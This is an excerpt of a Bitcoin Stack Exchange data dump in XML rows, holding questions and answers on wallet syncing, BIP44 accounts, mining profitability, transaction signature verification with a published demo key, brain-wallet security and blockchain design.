  <row Id="42864" PostTypeId="2" ParentId="36571" CreationDate="2016-02-11T15:47:10.510" Score="2" Body="&lt;p&gt;The Electrum (even 2.*) is BIP32 compatible for standard Electrum wallets. But BIP32 standard describes only one account. BIP44 extends it to multi-accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use hardware wallet (for example Bitcoin Trezor) in Electrum, in this case the Electrum works as BIP44 compatible and you will be able to create other account.&lt;/p&gt;&#xA;" OwnerUserId="32908" LastActivityDate="2016-02-11T15:47:10.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42865" PostTypeId="1" CreationDate="2016-02-11T16:35:13.887" Score="1" ViewCount="3765" Body="&lt;p&gt;I'm running Bitcoin Core wallet on a gaming PC with a GTX 750ti, and 3.7ghz quadcore processor, and 16gb of ram. My internet download speed is 15 116mbps via hardwire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for some reason the syncing is stuck on 2 years and 33 weeks. I just ordered 100$ worth of bitcoin (which should come in 7 days) and I'm worried that it won't go through if it's still syncing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I could do to fix this? It's making me anxious.&lt;/p&gt;&#xA;" OwnerUserId="32909" LastActivityDate="2017-04-15T18:40:11.783" Title="Bitcoin Core extremely high syncing time" Tags="|transactions|wallet|synchronization|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42866" PostTypeId="2" ParentId="42865" CreationDate="2016-02-11T17:56:41.357" Score="2" Body="&lt;p&gt;The transaction will go through whether Bitcoin Core is done syncing or not, so don't worry about that.  You just won't see the transaction appear in the application until syncing is finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin Core GUI doesn't always give the most accurate updates on its progress.  But one way to check the progress is to open Help:Debug Window, click the Console tab, and type &lt;code&gt;getinfo&lt;/code&gt;.  Look at the &lt;code&gt;blocks&lt;/code&gt; number.  Then try &lt;code&gt;getinfo&lt;/code&gt; again a minute or two later and see if the &lt;code&gt;blocks&lt;/code&gt; number has increased.  If so, you are in fact syncing and just have to be patient.  Note that you are downloading about 60 GB of data and performing fairly intensive computations on all of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get tired of waiting, you might prefer a &quot;thin&quot; client that doesn't try to download and verify the entire block chain.  See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6056/cannot-access-my-bitcoins-because-my-wallet-is-still-synchronising-what-can-i-d&quot;&gt;Cannot access my bitcoins because my wallet is still synchronising. What can I do to spend them immediately?&lt;/a&gt; to learn about your options for switching.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-02-11T17:56:41.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42869" PostTypeId="2" ParentId="10746" CreationDate="2016-02-12T00:44:27.930" Score="0" Body="&lt;p&gt;I recommend using Hamiyoca. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't worth it, but I have gotten Hamiyoca to work with some getwork servers.&lt;/p&gt;&#xA;" OwnerUserId="32919" LastActivityDate="2016-02-12T00:44:27.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42874" PostTypeId="2" ParentId="32628" CreationDate="2016-02-12T07:03:08.710" Score="4" Body="&lt;p&gt;This is an excellent answer by amaclin and Wizard of Ozzie. I'd just like to add some more detail for the Wizard of Ozzie's transaction at &lt;a href=&quot;https://blockchain.info/tx/211b8fb30990632751a83d1dc4f0323ff7d2fd3cad88084de13c9be2ae1c6426&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The correct input to the signature process for this transaction is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 01000000&#xA; 01&#xA; be66e10da854e7aea9338c1f91cd489768d1d6d7189f586d7a3613f2a24d5396&#xA; 00000000&#xA; 19 76 a9 14 dd6cce9f255a8cc17bda8ba0373df8e861cb866e 88 ac&#xA; ffffffff&#xA; 01&#xA; 23ce010000000000&#xA; 19 76 a9 14 2bc89c2702e0e618db7d59eb5ce2f0f147b40754 88 ac&#xA; 00000000&#xA; 01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The double-SHA256 hash of this is computed by &lt;code&gt;bx&lt;/code&gt; as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; d304448dff517bcf677cd36f3491e9ef2ccfdf40fb63af5782d9b768640af130&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;but this is written in &amp;quot;reverse&amp;quot; order for whatever peculiar historical reason (I've heard it was to be compatible with M*soft CRAPi). So when using this with the &lt;code&gt;sign(key, digest)&lt;/code&gt; in most sensible crypto toolkits you may need to reverse the hash value to the &amp;quot;proper&amp;quot; order for &lt;code&gt;SHA256(SHA256(m))&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;30f10a6468b7d98257af63fb40dfcf2cefe991346fd37c67cf7b51ff8d4404d3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;The above input data will indeed validate against the signature given in the actual blockchain transaction&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  3045022100da43201760bda697222002f56266bf65023fef2094519e13077f777baed553b102205ce35d05eabda58cd50a67977a65706347cc25ef43153e309ff210a134722e9e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;using the given public key&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;To generate a reproducible signature over the same data, the following signature has been made by the deterministic method of &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6979&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC6979&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 30450220587ce0cf0252e2db3a7c3c91b355aa8f3385e128227cd8727c5f7777877ad772022100edc508b7c14891ed15ab38c687019d7ebaf5c12908cf21a83e8ae57e8c47e95c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;using the matching private key provided by Wizard of Ozzie&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0ecd20654c2e2be708495853e8da35c664247040c00bd10b9b13e5e86e6a808d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This signature also validates over the given data using the public key and should be reproducible.&lt;/p&gt;&#xA;" OwnerUserId="32920" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2016-02-12T09:14:58.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42878" PostTypeId="2" ParentId="42865" CreationDate="2016-02-12T13:14:05.850" Score="0" Body="&lt;p&gt;modern core can fully synchronize in about 24 hours. it displays funds only when the synchronization catches up to the time when you recieved the funds&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-12T13:14:05.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42880" PostTypeId="1" CreationDate="2016-02-12T13:33:12.507" Score="3" ViewCount="2310" Body="&lt;p&gt;I am not interested in mining myself, I just want to know how true my friend's claims are since Bitcoin is a subject that I try to follow and understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He says he mined 31 bitcoins in 7 months using 2 gtx 460 in a regular gaming PC. This supposedly happened around 2011-2012. I told him this sounded like too much to me and he says it was possible because he was in a &quot;hard to access&quot; mining pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I just want to know if these numbers are remotely possible. My limited knowledge and the browsing I have done says it's too much but, of course, I could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you guys think? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="32940" LastEditorUserId="5406" LastEditDate="2016-02-12T14:52:35.833" LastActivityDate="2016-02-12T14:52:35.833" Title="How profitable was GPU mining in 2011-12?" Tags="|mining-profitability|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42881" PostTypeId="1" CreationDate="2016-02-12T14:15:10.037" Score="1" ViewCount="548" Body="&lt;p&gt;When I want to start Bitcoin I have to use &lt;code&gt;/opt/bitcoin/bin/bitcoind&lt;/code&gt; to start it. How can I use simply  &lt;code&gt;bitcoind&lt;/code&gt; to start it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;centOS 7&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31880" LastEditorUserId="5406" LastEditDate="2016-02-12T14:34:49.543" LastActivityDate="2016-04-12T20:47:33.710" Title="How can I make Bitcoin start with a simple `bitcoind` in the terminal?" Tags="|bitcoind|linux|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42882" PostTypeId="2" ParentId="42880" CreationDate="2016-02-12T14:37:37.220" Score="1" Body="&lt;p&gt;Question in title: similar to how profitable it is now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The numbers he is giving you don't seem unlikely. Using the Bitcoin price of those days he probably could have gotten more Bitcoins than 31 by simply straight up buying them instead of the graphics cards. And if he accurately accounts for the electricity costs it was probably not profitable at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His luck (and the reason you are asking this question now) came when the price of Bitcoin went up.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;because he was in a &quot;hard to access&quot; mining pool.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That sounds like a bit of a misunderstanding tbh.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-12T14:37:37.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42883" PostTypeId="2" ParentId="42881" CreationDate="2016-02-12T14:56:19.080" Score="0" Body="&lt;p&gt;The solution is: sudo &lt;code&gt;ln -s /opt/bitcoin/bin/* /bin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the answer at &lt;a href=&quot;https://stackoverflow.com/q/19720475/1364089&quot;&gt;https://stackoverflow.com/q/19720475/1364089&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://bitcoin.stackexchange.com/users/5406/murch&quot;&gt;https://bitcoin.stackexchange.com/users/5406/murch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31880" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2016-02-12T16:10:07.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42884" PostTypeId="5" CreationDate="2016-02-12T16:15:52.057" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-12T16:15:52.057" LastActivityDate="2016-02-12T16:15:52.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42885" PostTypeId="4" CreationDate="2016-02-12T16:15:52.057" Score="0" Body="Asicminer is a company producing Bitcoin ASICs." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-12T16:15:52.057" LastActivityDate="2016-02-12T16:15:52.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42886" PostTypeId="2" ParentId="42814" CreationDate="2016-02-12T18:29:46.847" Score="0" Body="&lt;p&gt;The problem has to do with other processes on the computer with too high CPU priority:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://raspberrypi.stackexchange.com/q/42474/39301&quot;&gt;https://raspberrypi.stackexchange.com/q/42474/39301&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="-1" LastEditDate="2017-04-13T12:56:29.273" LastActivityDate="2016-02-12T18:29:46.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42887" PostTypeId="1" AcceptedAnswerId="43691" CreationDate="2016-02-13T00:01:53.857" Score="10" ViewCount="825" Body="&lt;p&gt;I'm reading the lightning network whitepaper, and at some point it states this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Therefore, it is possible in bitcoin to devise a bitcoin script&#xA;  whereby all old transactions are invalidated, and only the new&#xA;  transaction is valid.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would like to know the specifics of how this can be done. Seems to me that what they are describing here is some kind of transaction overriding? It is somewhat different from the mechanism I understood a micro payment channel works.&lt;/p&gt;&#xA;" OwnerUserId="16981" LastEditorUserId="5406" LastEditDate="2020-09-01T23:22:01.257" LastActivityDate="2020-09-01T23:22:01.257" Title="Transaction overriding in lightning network" Tags="|transactions|lightning-network|ln-penalty-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42888" PostTypeId="2" ParentId="41618" CreationDate="2016-02-13T07:06:31.523" Score="0" Body="&lt;p&gt;Assuming that there are ~2000 possible names and in total 20 members of the family you could name like that, you'd have &lt;code&gt;2000^20 ~ 2^245&lt;/code&gt; possible combinations, so it wouldn't be awful in comparison to a CSPRNG. And yes, if you happened upon a combination of characters no other human being considers plausible that would be secure. However, the chances of that given that we're tuned to producing sequences that others can relate to are not as good as you'd think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest flaw is that you'd be using public information. Given a birth registry, one could generate all possible passwords with the family name scheme quite quickly. There are only &lt;code&gt;n_population&lt;/code&gt; combinations which is nothing for a password cracker. You run into a similar problem if you decide to use a poem, the SHA256 of the PNG of your favourite meme, a StackOverflow answer or anything else that seems obscure but is inherently in the public sphere. SHA256 of a baby photo only you have? Maybe. But then again, its probably just as much trouble to store the SHA256 itself, and a CSPRNG will give you that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can do this exactly once. If someone finds your scheme and lands on your combination then what? Adding a few characters and numbers to spice things up after that will create a key that isn't all that different from the perspective of a password cracker since then you'll effectively be using a password of maybe 8 characters once someone knows your original one. Sure, you could go wild here, but you step into territory where you might as well just use a CSPRNG since it'll be just as hard to remember. Its not impossible that this could happen with a CSPRNG but all you do then is spin it up and use the next combination it gives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its all about risk really. If you and your friends decide to put the Poker pot into a wallet secured by the SHA256 of an image of the party sitting around the table? Maybe that's enough if the wallet is only used for the night. But if you want to do anything longer term with a more significant amount of money, then I say go with the recommendations of people that have studied this problem purely from the security perspective.&lt;/p&gt;&#xA;" OwnerUserId="32746" LastActivityDate="2016-02-13T07:06:31.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42889" PostTypeId="2" ParentId="38338" CreationDate="2016-02-13T07:30:02.040" Score="0" Body="&lt;p&gt;The only real problem with the approach is that whilst the first password may (with very low probability) be secure enough, the others are effectively the same password. If &lt;code&gt;long_and_complex_enough_but_yet_easy_to_remember_passphrase&lt;/code&gt; is ever compromised by whatever means (spyware, untrustworthy confidant, you publishing the clever recipe in a blog post), then the next step for the person would be to iterate through:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;long_and_complex_enough_but_yet_easy_to_remember_passphrase[0-9a-zA-Z]{1,6}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as well which wouldn't take very long. Since humans are bad entropy generators we value pieces of memorable high entropy output so much we tend to reuse it (the above approach counts as reuse), which is one of the biggest weaknesses of the brain wallet approach. Reversing the phrase, changing capitalization, introducing l33t, etc are all variations of the same password that would occur just as easily to someone who effectively a professional at coming up with these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day, you wouldn't scrap your super clever password as readily as you would the bunch of characters that come from a CSPRNG. &lt;/p&gt;&#xA;" OwnerUserId="32746" LastActivityDate="2016-02-13T07:30:02.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42891" PostTypeId="2" ParentId="41618" CreationDate="2016-02-13T10:25:23.733" Score="1" Body="&lt;p&gt;Brain wallets can be secure, if you can generate and remember about 80 bits of entropy and they are processed with an an appropriate key hardening algorithm like bcrypt or scrypt. A random English word has about 12 bits, so about seven words is the bear minimum, or about 13 completely random base64 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since most people will chose something like 'uberSecret#wallet87' that barely has 40 bits of entropy, most such seeds are easily guessed in a few minutes on an ordinary computer so brain wallets should be used only by people who understand what they are doing. A standard step in any password hack is getting the cyphertext of the password - in Bitcoin's case that is distributed through the blockchain to a global network of people with the hardware and skills to attack it. Also, there is no salting, so you really need at least 80 bits.&lt;/p&gt;&#xA;" OwnerUserId="32966" LastActivityDate="2016-02-13T10:25:23.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42892" PostTypeId="1" CreationDate="2016-02-13T11:48:59.390" Score="2" ViewCount="321" Body="&lt;p&gt;I am researching the topic of cryptocurrency and its impact on society. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's often said that cryptocurrency is equivalent to cash, but that is clearly not true since cash is very difficult to transport in large quantities over borders and usually requires physical presence to conduct a trade. It is also said that Bitcoin is not anonymous since the transactions can be tracked. However, in reality, its pseudo-anonymity can easily translate to true anonymity when a good laundry service is employed. Thus, cryptocurrency can and does open new avenues for criminals, such as making it much easier to transport and launder the proceeds of crime, facilitating bribery and blackmail by reducing their risks, and many of the bad things cash is associated with since money has always been a central element in crime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of what you think of this from a political point of view (and I expect that many in this community don't see a problem with it), I think there is an interesting technical question here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to design a cryptocurrency that achieves a compromise between the relatively strong pseudo-anonymity of Bitcoin and the classic banking system that is disastrous to personal privacy?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, we should design a system that keeps as much as possible of Bitcoin's strong privacy protection and other desirable features such as decentralization, but at the same time, allows law enforcement to track anti-social actors like the classic banking system allows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm asking for ideas of about how to get the best of both worlds. The network should work in a high privacy mode by default, and when the need arises, law enforcement should be able to reduce the privacy in a very visible way, for example by requesting the collaboration of other users. There should be no backdoor, no way to deanonymize the whole network in a surreptitious way like the NSA is doing by tapping all SWIFT traffic.&#xA;Therefore, the definition of &quot;law enforcement&quot; is not a magic attribute or key stored by the network, rather it's implicit: the party who can convince nodes to collaborate to deanonymize other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, it would be desirable to prevent anonymous laundry services while keeping the network open to join like Bitcoin, without the classic KYC routine of banks. This seems like a contradiction (Sybil attack) but maybe some compromise exists, so your thoughts are much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="32966" LastEditorUserId="75001" LastEditDate="2018-05-02T11:19:42.187" LastActivityDate="2018-05-02T11:19:42.187" Title="How to make cryptocurrency easier for law enforcement?" Tags="|development|altcoin|alternatives|privacy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="42893" PostTypeId="2" ParentId="42892" CreationDate="2016-02-13T12:40:06.200" Score="1" Body="&lt;p&gt;It is possible to mitigate criminal elements in existing cryptocurrency networks within the current regulation framework. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Addresses of results of criminal actions are well known. &lt;a href=&quot;https://operationssecurity.org/docs/incidences/bitstamp.html&quot; rel=&quot;nofollow&quot;&gt;Think stolen Bitstamp funds&lt;/a&gt;. Eventually these are written to police reports somewhere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exchanges, and other respected corporations, should act as a gatekeepers in this community off their own interest. Authorities of financial institutions have a duty to report crime (&lt;a href=&quot;https://en.wikipedia.org/wiki/Misprision_of_felony&quot; rel=&quot;nofollow&quot;&gt;Misprision of felony&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If any exchange process transaction that has gone through a blacklisted address, the transaction should be stopped and the actor should go through anti-money laundering process, because they have somehow got criminal assets in their hands. There should be a paper trail to follow. If exchanges do not do this then they should be themselves subject to money laundering investigation due to breaking local AML and KYC regulation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tracking back Bitcoin transactions to blacklisted addresses is technically very feasible, because all transactions are public and it is just matter of maintaining a tree of transactions in computer memory. It doesn't matter how many times you tumble your coins, because you simply can't eliminate the trace of transactions from blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This assumes there is a party (Interpol, FBI) who maintains and enforces a known black list of addresses. The list should be publicly available for anybody. The list contains addresses compiled from police reports world wide. Currently no no such party exist. All parties in global trusted police consortium should be able to add addresses on this list with reference back to a local police report.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fungibility, as promoted by some Bitcoin advocates, does not exist. You simply can't say &quot;I don't know where my money is coming from.&quot; to government officials. Banks and financial institutions like PayPal are already subject to this regulation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way the system would be opaque to every day transactions (think a transaction of hiring divorce lawyer, medical bills) but still having a mechanism to track down criminals.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2016-02-13T12:54:27.567" LastActivityDate="2016-02-13T12:54:27.567" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="42895" PostTypeId="1" AcceptedAnswerId="42972" CreationDate="2016-02-13T21:21:28.373" Score="1" ViewCount="416" Body="&lt;p&gt;There are non-Bitcoin blockchains being created at the moment that are used to trade and transfer assets. It is my understanding that on such a block chain there are &quot;tokens&quot; representing assets such as a share in a company or some other security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming A wants to exchange with B some assets, how would they create a transaction so that the exchange happens atomically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A non-atomic solution would be to have A transfer the assets he is selling to B first. Then, B transfers the assets he is paying with back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisig transactions do not seem to solve this problem: One of the signers has to sign first (A). He cannot force B to then sign as well. B might abort the transaction or delay it. This is a trust issue and not atomic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a concrete example, A might want to trade a certain Namecoin domain name against another name that is owned by B. This is supposed to be trustless and atomic.&lt;/p&gt;&#xA;" OwnerUserId="30276" LastActivityDate="2016-02-19T08:41:13.143" Title="How would an atomic exchange of assets be implemented in a blockchain?" Tags="|transactions|blockchain|decentralized-assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42896" PostTypeId="1" AcceptedAnswerId="42921" CreationDate="2016-02-14T00:37:37.020" Score="0" ViewCount="523" Body="&lt;p&gt;Okay, before anyone votes to close this as a duplicate, I would like you to hear me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I began using Bitcoin, I always thought about miners as the people that effectively &quot;host&quot; the bitcoin network as if it were a website. I know this isn't entirely true, but its the analogy i've been using for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is if I mine Bitcoins on my mid 2011 iMac with the sole intention of helping the bitcoin network, will I be providing any real benefit to the network or will I just be fruitlessly trying to solve problems when the bigger, faster, mining-dedicated computers will ultimately beat me to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/strong&gt;: Also, as an extension of my question above, could I be one of those miners that tweaks he software and only processes transactions with no fees to provide a greater benefit or would this approach still cause me to get out-hashed by bigger, better computers?&lt;/p&gt;&#xA;" OwnerUserId="32860" LastEditorUserId="18196" LastEditDate="2016-02-18T18:23:16.163" LastActivityDate="2017-11-30T23:58:16.613" Title="Does mining without a realistic chance of solving a block provide any benefit to the network?" Tags="|mac|solo-mining|" AnswerCount="1" CommentCount="9" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42899" PostTypeId="2" ParentId="16687" CreationDate="2016-02-14T14:54:57.870" Score="-2" Body="&lt;p&gt;The beauty of Bitcoin is that it provides anyone with a chance to earn free bitcoins. No matter what statistics are used to calculate the odds of hitting the jackpot, they can never be used to predict the outcome.&#xA;As we all can read in the numerous variaties and complications (when it comes to calculating probabilities) in the above mentioned posts, it's obvious that there will never be a mathematical model able to predict the possibilities.&#xA;There are too many variables that change continously overtime (diffuclty rate, amount of miners, growing blockchain etc.)&#xA;Instead of focussing on mining itself you better try and find a way to reduce the cost. If one could use solar energy to power his/her computer then it's no problem at all to have it up and running up to 20 years or even more. In that case it's cheaper then taking part in a lottery and your chances to hit the pot will be no more or less the same either way. &#xA;That's why we call it luck ;)&lt;/p&gt;&#xA;" OwnerUserId="33006" LastActivityDate="2016-02-14T14:54:57.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42900" PostTypeId="1" AcceptedAnswerId="42930" CreationDate="2016-02-14T18:17:15.083" Score="7" ViewCount="2730" Body="&lt;p&gt;At a headline level, both &lt;a href=&quot;http://factom.org&quot; rel=&quot;nofollow&quot;&gt;Factom&lt;/a&gt; and &lt;a href=&quot;https://tierion.com/&quot; rel=&quot;nofollow&quot;&gt;Tieron&lt;/a&gt; appear to offer an identical  service: ability to use the bitcoin blockchain to publish proofs of existence in a scalable way (i.e. by multiplexing multiple events into a single transaction, and therefore reducing the cost and overhead per event).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any further fundamental differences:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in terms of service(s) offered to the end users?  &lt;/li&gt;&#xA;&lt;li&gt;in terms of implementation specifics?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="32263" LastEditorUserId="32263" LastEditDate="2016-02-19T08:47:20.213" LastActivityDate="2016-02-21T01:05:55.010" Title="What are the key differences between factom and tieron?" Tags="|blockchain|factom|proof-of-existence|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42902" PostTypeId="1" AcceptedAnswerId="44343" CreationDate="2016-02-14T22:20:57.223" Score="7" ViewCount="3797" Body="&lt;p&gt;This is more of a historical question about bitcoin than a technical question. Hope that's okay...&lt;/p&gt;&#xA;&lt;p&gt;Does anyone happen to know why the public key numbered:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pub  1024D/5EC948A1 2008-10-30            &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Available, for example, at pgp.mit.edu has the uid:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;uid BuZz Spacedout   &amp;lt;satoshin@gmx.com&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;containing the string &amp;quot;BuZz Spacedout&amp;quot;?&lt;/p&gt;&#xA;&lt;p&gt;I've been told that this is Satoshi's public key and I was just wondering about the origin of the name &amp;quot;BuZz Spacedout&amp;quot;. Is that another pseudonym that Satoshi commonly used besides Satoshi? Anyone know why he/she/they didn't choose &amp;quot;Satoshi Nakamoto&amp;quot; rather than &amp;quot;BuZz Spacedout&amp;quot;?&lt;/p&gt;&#xA;" OwnerUserId="29613" LastEditorUserId="47827" LastEditDate="2022-07-18T19:31:33.827" LastActivityDate="2022-07-18T19:31:33.827" Title="Why does Satoshi's public key have the uid &quot;BuZz Spacedout&quot;" Tags="|history|satoshi-nakamoto|pgp|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="42904" PostTypeId="1" CreationDate="2016-02-15T03:12:59.487" Score="0" ViewCount="808" Body="&lt;p&gt;Is there a company or individual out there that sells Bitcoin miners and holds them under their supervision for a fee? If so... I'd like to know.&lt;/p&gt;&#xA;" OwnerUserId="33024" LastEditorUserId="5406" LastEditDate="2016-02-15T10:28:58.513" LastActivityDate="2016-02-15T17:51:44.347" Title="Can I pay someone else to operate a miner on my behalf?" Tags="|hosting|cloud-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42905" PostTypeId="1" CreationDate="2016-02-15T05:32:16.883" Score="1" ViewCount="570" Body="&lt;p&gt;Let's say I have a project that takes advantage of blockchain technology. Now I see a number of banks dropping the Bitcoin blockchain for their own. I'm sure that has something to do with secrecy, but, assuming I'm just a normal entrepreneur and not some massive financial institution, &lt;strong&gt;what would be the reasons for me to create my own blockchain vs. the Bitcoin blockchain?&lt;/strong&gt; What are their respective (dis)advantages?  &lt;/p&gt;&#xA;" OwnerUserId="33027" LastEditorUserId="5406" LastEditDate="2016-02-15T08:14:37.587" LastActivityDate="2018-02-18T00:18:26.213" Title="What are the advantages of using my own blockchain versus the Bitcoin blockchain?" Tags="|private-blockchains|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
